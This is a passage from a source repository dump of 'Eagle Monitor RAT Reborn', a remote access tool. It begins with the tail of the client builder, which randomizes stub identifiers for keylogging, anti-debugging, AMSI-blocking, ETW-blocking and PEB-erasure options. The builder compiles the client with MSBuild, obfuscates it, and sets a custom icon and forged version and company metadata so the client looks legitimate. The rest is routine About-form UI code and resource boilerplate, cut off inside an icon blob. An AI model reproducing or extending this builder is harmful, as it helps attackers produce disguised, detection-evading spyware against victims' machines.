\"ClientHandler\");\n                stub = Rename(stub, \"clientHandler\");\n\n                //Options\n                stub = Rename(stub, \"offKeylog\");\n                stub = Rename(stub, \"antiDBG\");\n                stub = Rename(stub, \"erasePEFromPEB\");\n                stub = Rename(stub, \"blockAMSI\");\n                stub = Rename(stub, \"blockETW\");\n\n                File.WriteAllText(Application.StartupPath + \"\\\\Stubs\\\\clienttmp.cs\", stub);\n\n                LogStep(\"Starting building process...\" + Environment.NewLine);\n                Build();\n\n                LogStep(\"Starting obfuscating exe file...\" + Environment.NewLine);\n                bool built = Obfuscator(Application.StartupPath + \"\\\\Stubs\\\\Client.exe\");\n                File.Delete(Application.StartupPath + \"\\\\Stubs\\\\Client.exe\");\n\n                if (built)\n                { LogStep(\"Client built !\"); MessageBox.Show(\"Done !\", \"\", MessageBoxButtons.OK, MessageBoxIcon.Information); }\n\n            }));\n            return false;\n        }\n\n        private static string ReplaceStub(string stub, string toReplace, string newString) \n        {\n            return stub.Replace(toReplace, newString);         \n        }\n\n        private static string Rename(string stub, string toReplace) \n        {\n            return stub.Replace(toReplace, Misc.RandomString.NextString(10));\n        }\n\n        private static void LogStep(string log) \n        {\n            Program.mainForm.buildLogsGuna2TextBox.AppendText(log);\n        }\n\n        private static void Build() \n        {\n            Process cmd = new Process();\n            cmd.StartInfo.FileName = \"cmd.exe\";\n            cmd.StartInfo.RedirectStandardInput = true;\n            cmd.StartInfo.RedirectStandardOutput = true;\n            cmd.StartInfo.CreateNoWindow = true;\n            cmd.StartInfo.UseShellExecute = false;\n            cmd.StartInfo.StandardOutputEncoding = Encoding.GetEncoding(437);\n            /*\n            The OEM or DOS/OEM character set contains line draw and other symbols commonly used by earlier DOS programs to create charts and simple graphics. \n            Also known as the PC-8 symbol set as well as Code Page 437, \n            the OEM character set is built into every graphics card.\n            */\n            string xmlPath = Application.StartupPath + \"\\\\Stubs\\\\clienttmp.xml\\\"\";\n            cmd.StartInfo.Arguments = \"/c \" + \"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\MSBuild.exe \\\"\"+ xmlPath;\n            cmd.Start();\n\n            cmd.StandardInput.Flush();\n            cmd.StandardInput.Close();\n            cmd.WaitForExit();\n            Program.mainForm.buildLogsGuna2TextBox.AppendText(cmd.StandardOutput.ReadToEnd());\n            File.Delete(Application.StartupPath + \"\\\\Stubs\\\\clienttmp.cs\");\n            File.Delete(Application.StartupPath + \"\\\\Stubs\\\\clienttmp.xml\");\n        }\n\n        private static string LibCompressor(byte[] lib)\n        {\n            using (MemoryStream resultStream = new MemoryStream())\n            {\n                using (DeflateStream compressionStream = new DeflateStream(resultStream, CompressionMode.Compress))\n                {\n                    compressionStream.Write(lib, 0, lib.Length);\n                }\n                byte[] result = resultStream.ToArray();\n\n                return \"new byte[] {\" + String.Join(\",\", result) + \"};\";\n            }\n        }\n\n        private static bool Obfuscator(string path)\n        {\n            ModuleDefMD asmDef = ModuleDefMD.Load(path);\n            try\n            {\n                using (asmDef)\n                {\n                    using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())\n                    {\n                        saveFileDialog1.Filter = \".exe (*.exe)|*.exe\";\n                        saveFileDialog1.InitialDirectory = Misc.Utils.GPath;\n                        saveFileDialog1.OverwritePrompt = false;\n                        saveFileDialog1.FileName = \"Client\";\n                        if (saveFileDialog1.ShowDialog() == DialogResult.OK)\n                        {\n                            Obfuscate.ObfuscateStub(asmDef);\n                            asmDef.Write(saveFileDialog1.FileName);\n                            asmDef.Dispose();\n\n                            LogStep(\"Setting icon...\" + Environment.NewLine);\n                            if (!string.IsNullOrEmpty(Program.mainForm.iconPath))\n                                IconInjector.SetIcon(Program.mainForm.iconPath, saveFileDialog1.FileName);\n                            else\n                                LogStep(\"Skipping setting icon...\" + Environment.NewLine);\n\n                            LogStep(\"Setting assembly information...\" + Environment.NewLine);\n                            WriteAssemblyInfo.WriteAssemblyInformation(saveFileDialog1.FileName,\n                                Program.mainForm.fileVersionGuna2TextBox.Text,\n                                Program.mainForm.productVersionGuna2TextBox.Text,\n                                Program.mainForm.productGuna2TextBox.Text,\n                                Program.mainForm.descriptionGuna2TextBox.Text,\n                                Program.mainForm.companyGuna2TextBox.Text,\n                                Program.mainForm.copyrightGuna2TextBox.Text,\n                                Program.mainForm.trademarksGuna2TextBox.Text,\n                                Program.mainForm.filenameGuna2TextBox.Text\n                                );\n\n                            return true;\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                MessageBox.Show(ex.ToString());\n            }\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Builder/WriteAssemblyInfo.cs",
    "content": "﻿using System;\nusing Vestris.ResourceLib;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Builder\n{\n    internal static class WriteAssemblyInfo\n    {\n        internal static void WriteAssemblyInformation(string path, string fileVer, string prodVer, string prodName, string desc, string compName, string copyright, string trademarks, string orgiName)\n        {\n            try\n            {\n                VersionResource versionResource = new VersionResource();\n                versionResource.LoadFrom(path);\n\n                versionResource.FileVersion = fileVer;\n                versionResource.ProductVersion = prodVer;\n                versionResource.Language = 0;\n\n                StringFileInfo stringFileInfo = (StringFileInfo)versionResource[\"StringFileInfo\"];\n                stringFileInfo[\"ProductName\"] = prodName;\n                stringFileInfo[\"FileDescription\"] = desc;\n                stringFileInfo[\"CompanyName\"] = compName;\n                stringFileInfo[\"LegalCopyright\"] = copyright;\n                stringFileInfo[\"LegalTrademarks\"] = trademarks;\n                stringFileInfo[\"Assembly Version\"] = versionResource.ProductVersion;\n                stringFileInfo[\"InternalName\"] = orgiName;\n                stringFileInfo[\"OriginalFilename\"] = orgiName;\n                stringFileInfo[\"ProductVersion\"] = versionResource.ProductVersion;\n                stringFileInfo[\"FileVersion\"] = versionResource.FileVersion;\n\n                versionResource.SaveTo(path);\n            }\n            catch (Exception)\n            { }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.Designer.cs",
    "content": "﻿namespace Eagle_Monitor_RAT_Reborn\n{\n    partial class AboutForm\n    {\n        /// <summary>\n        /// Variable nécessaire au concepteur.\n        /// </summary>\n        private System.ComponentModel.IContainer components = null;\n\n        /// <summary>\n        /// Nettoyage des ressources utilisées.\n        /// </summary>\n        /// <param name=\"disposing\">true si les ressources managées doivent être supprimées ; sinon, false.</param>\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing && (components != null))\n            {\n                components.Dispose();\n            }\n            base.Dispose(disposing);\n        }\n\n        #region Code généré par le Concepteur Windows Form\n\n        /// <summary>\n        /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas\n        /// le contenu de cette méthode avec l'éditeur de code.\n        /// </summary>\n        private void InitializeComponent()\n        {\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutForm));\n            this.aboutDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.logoPictureBox = new System.Windows.Forms.PictureBox();\n            ((System.ComponentModel.ISupportInitialize)(this.aboutDataGridView)).BeginInit();\n            ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit();\n            this.SuspendLayout();\n            // \n            // aboutDataGridView\n            // \n            this.aboutDataGridView.AllowUserToAddRows = false;\n            this.aboutDataGridView.AllowUserToDeleteRows = false;\n            this.aboutDataGridView.AllowUserToResizeColumns = false;\n            this.aboutDataGridView.AllowUserToResizeRows = false;\n            this.aboutDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.aboutDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.aboutDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.aboutDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle1.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle1.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.aboutDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;\n            this.aboutDataGridView.ColumnHeadersHeight = 36;\n            this.aboutDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column1,\n            this.Column2});\n            this.aboutDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.aboutDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.aboutDataGridView.EnableHeadersVisualStyles = false;\n            this.aboutDataGridView.GridColor = System.Drawing.Color.White;\n            this.aboutDataGridView.Location = new System.Drawing.Point(2, 32);\n            this.aboutDataGridView.Name = \"aboutDataGridView\";\n            this.aboutDataGridView.ReadOnly = true;\n            this.aboutDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle4.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            this.aboutDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle4;\n            this.aboutDataGridView.RowTemplate.Height = 26;\n            this.aboutDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.aboutDataGridView.Size = new System.Drawing.Size(434, 190);\n            this.aboutDataGridView.TabIndex = 5;\n            this.aboutDataGridView.TabStop = false;\n            this.aboutDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.dataGridView1_MouseUp);\n            // \n            // Column1\n            // \n            this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column1.DefaultCellStyle = dataGridViewCellStyle2;\n            this.Column1.FillWeight = 10F;\n            this.Column1.HeaderText = \"\";\n            this.Column1.Name = \"Column1\";\n            this.Column1.ReadOnly = true;\n            this.Column1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column2\n            // \n            this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column2.DefaultCellStyle = dataGridViewCellStyle3;\n            this.Column2.FillWeight = 18F;\n            this.Column2.HeaderText = \"\";\n            this.Column2.Name = \"Column2\";\n            this.Column2.ReadOnly = true;\n            this.Column2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // closeGuna2ControlBox\n            // \n            this.closeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.closeGuna2ControlBox.CustomClick = true;\n            this.closeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.closeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.closeGuna2ControlBox.Location = new System.Drawing.Point(391, 1);\n            this.closeGuna2ControlBox.Name = \"closeGuna2ControlBox\";\n            this.closeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.closeGuna2ControlBox.TabIndex = 2;\n            this.closeGuna2ControlBox.Click += new System.EventHandler(this.closeGuna2ControlBox_Click);\n            // \n            // maximizeGuna2ControlBox\n            // \n            this.maximizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.maximizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MaximizeBox;\n            this.maximizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.maximizeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.maximizeGuna2ControlBox.Location = new System.Drawing.Point(344, 1);\n            this.maximizeGuna2ControlBox.Name = \"maximizeGuna2ControlBox\";\n            this.maximizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.maximizeGuna2ControlBox.TabIndex = 3;\n            // \n            // minimizeGuna2ControlBox\n            // \n            this.minimizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.minimizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MinimizeBox;\n            this.minimizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.minimizeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.minimizeGuna2ControlBox.Location = new System.Drawing.Point(297, 1);\n            this.minimizeGuna2ControlBox.Name = \"minimizeGuna2ControlBox\";\n            this.minimizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.minimizeGuna2ControlBox.TabIndex = 4;\n            // \n            // logoPictureBox\n            // \n            this.logoPictureBox.BackColor = System.Drawing.Color.Transparent;\n            this.logoPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.eagle2;\n            this.logoPictureBox.Location = new System.Drawing.Point(4, 1);\n            this.logoPictureBox.Name = \"logoPictureBox\";\n            this.logoPictureBox.Size = new System.Drawing.Size(32, 28);\n            this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.logoPictureBox.TabIndex = 5;\n            this.logoPictureBox.TabStop = false;\n            this.logoPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.logoPictureBox_MouseDown);\n            // \n            // AboutForm\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.BackColor = System.Drawing.Color.White;\n            this.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.BordersSize = 2;\n            this.ClientSize = new System.Drawing.Size(438, 224);\n            this.Controls.Add(this.aboutDataGridView);\n            this.Controls.Add(this.logoPictureBox);\n            this.Controls.Add(this.minimizeGuna2ControlBox);\n            this.Controls.Add(this.maximizeGuna2ControlBox);\n            this.Controls.Add(this.closeGuna2ControlBox);\n            this.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\n            this.Name = \"AboutForm\";\n            this.Padding = new System.Windows.Forms.Padding(2, 32, 2, 2);\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\n            this.Text = \"Eagle Monitor RAT Reborn\";\n            this.TopBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.Load += new System.EventHandler(this.MainForm_Load);\n            this.MouseLeave += new System.EventHandler(this.MainForm_MouseLeave);\n            ((System.ComponentModel.ISupportInitialize)(this.aboutDataGridView)).EndInit();\n            ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit();\n            this.ResumeLayout(false);\n\n        }\n\n        #endregion\n        private Guna.UI2.WinForms.Guna2ControlBox closeGuna2ControlBox;\n        private Guna.UI2.WinForms.Guna2ControlBox maximizeGuna2ControlBox;\n        private Guna.UI2.WinForms.Guna2ControlBox minimizeGuna2ControlBox;\n        public System.Windows.Forms.DataGridView aboutDataGridView;\n        private System.Windows.Forms.PictureBox logoPictureBox;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column1;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column2;\n    }\n}\n\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Controls;\nusing Eagle_Monitor_RAT_Reborn.Network;\nusing Leaf.xNet;\nusing Newtonsoft.Json;\nusing PacketLib;\nusing PacketLib.Packet;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Drawing;\nusing System.IO;\nusing System.Windows.Forms;\nusing static Eagle_Monitor_RAT_Reborn.Misc.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn\n{\n    public partial class AboutForm : FormPattern\n    {\n        public AboutForm()\n        {\n            InitializeComponent();\n        }\n\n        private void MainForm_Load(object sender, EventArgs e)\n        {\n            RowsAdder(\"Name\", CoreAssembly.Name);\n            RowsAdder(\"Version\", CoreAssembly.Version.ToString());\n            RowsAdder(\"Author\", \"Arsium\");\n            RowsAdder(\"License\", \"AGPL-3.0\");\n            RowsAdder(\"Source\", \"https://github.com/arsium/EagleMonitorRAT\");\n            aboutDataGridView.ClearSelection();\n            aboutDataGridView.CurrentCell = null;\n        }\n\n        private void RowsAdder(string nameOfDetail, string detail)\n        {\n            int rowId = aboutDataGridView.Rows.Add();\n            DataGridViewRow row = aboutDataGridView.Rows[rowId];\n            row.Cells[\"Column1\"].Value = nameOfDetail;\n            row.Cells[\"Column2\"].Value = detail;\n        }\n\n        private void closeGuna2ControlBox_Click(object sender, EventArgs e)\n        {\n            this.Close();\n        }\n\n        private void logoPictureBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)\n        {\n           Utils.MoveForm(this);\n        }\n\n        private void versionLabel_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)\n        {\n            Utils.MoveForm(this);\n        }\n\n        //https://stackoverflow.com/questions/4314673/how-to-deselect-all-selected-rows-in-a-datagridview-control\n        private void dataGridView1_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = aboutDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    aboutDataGridView.ClearSelection();\n                    aboutDataGridView.CurrentCell = null;\n                }\n            }\n        }\n\n        private void MainForm_MouseLeave(object sender, EventArgs e)\n        {\n            aboutDataGridView.ClearSelection();\n            aboutDataGridView.CurrentCell = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <metadata name=\"Column1.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column2.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n    <value>\n        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\n        